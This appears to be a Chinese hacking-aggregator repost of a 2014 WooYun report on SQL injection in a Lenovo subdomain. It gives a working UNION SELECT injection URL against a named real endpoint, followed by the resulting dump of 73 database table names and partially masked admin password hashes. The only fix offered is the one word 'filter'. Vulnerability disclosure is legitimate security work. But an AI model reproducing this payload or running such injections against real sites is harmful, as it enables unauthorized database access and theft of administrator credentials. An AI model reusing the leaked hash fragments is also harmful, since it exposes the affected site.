记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

联想另一分站MySQL注射支持union

2014-12-19 23:20

注入点:

code 区域
http://hao.lenovo.com/mps/api/safeNavList.php?cookieId=&pageName=1%27%20union%20all%20select%201%2C2%2C3%2C4%23



几个参数都能注入。支持union。

漏洞证明:

code 区域
Database: nps

[73 tables]

+------------------------------+

| version |

| banner |

| cats |

| cats_son |

| hots |

| hots_words |

| nps_admin |

| nps_admin_log |

| nps_admin_role |

| nps_admin_url |

| nps_admin_user_role |

| nps_advertisement |

| nps_alarminfo |

| nps_app_version |

| nps_area |

| nps_article |

| nps_article_comment |

| nps_article_post |

| nps_channel |

| nps_client_news |

| nps_client_news_inform |

| nps_dengmi |

| nps_dengmi_result |

| nps_feedback |

| nps_hot_spot |

| nps_hot_url |

| nps_hot_url_bak |

| nps_hotword |

| nps_img_big_bit_map |

| nps_img_thumb |

| nps_ip |

| nps_left_web |

| nps_link |

| nps_news_head |

| nps_page |

| nps_page_catagory |

| nps_privilege |

| nps_recommend |

| nps_role |

| nps_role_privilege |

| nps_safe_nav |

| nps_shorturl |

| nps_single_activity_20121106 |

| nps_single_activity_20121107 |

| nps_single_activity_20121108 |

| nps_single_activity_20121109 |

| nps_single_activity_20121110 |

| nps_single_activity_20121111 |

| nps_single_activity_20121231 |

| nps_single_activity_20130101 |

| nps_single_activity_20130102 |

| nps_single_activity_20130103 |

| nps_single_activity_20130104 |

| nps_single_activity_qb |

| nps_single_activity_win |

| nps_source |

| nps_suggestion |

| nps_user_admin |

| nps_user_post |

| nps_user_post_catagory |

| nps_version |

| nps_visitor |

| nps_visitor_qb |

| nps_voice_hot_words |

| nps_vote |

| nps_vote_catagory |

| nps_vote_log |

| nps_weather |

| nps_weather_bak |

| nps_webplus |

| nps_wei_xs |

| nps_welcome |

| web_url |

+------------------------------+



admin表:

mask 区域
*****+---------------------*****

*****word *****

*****-------------------*****

*****DC3949BA59ABBE56E05*****

*****DC3949BA59ABBE56E05*****

*****DC3949BA59ABBE56E05*****

*****----------------------*****

**********

*****le: nps_*****

*****tri*****

*****---------------*****

***** password *****

*****---------------*****

***** 8703D6533E44D6*****

***** 2fccb36355ec6b*****

***** 650EA49749BB32*****

***** 05dd67bc6d7d37*****

***** 0192023a7bbd73*****

*****------------------*****

修复方案:

过滤

知识来源: www.wooyun.org/bugs/wooyun-2014-081953

阅读:68175 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“联想另一分站MySQL注射支持union”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云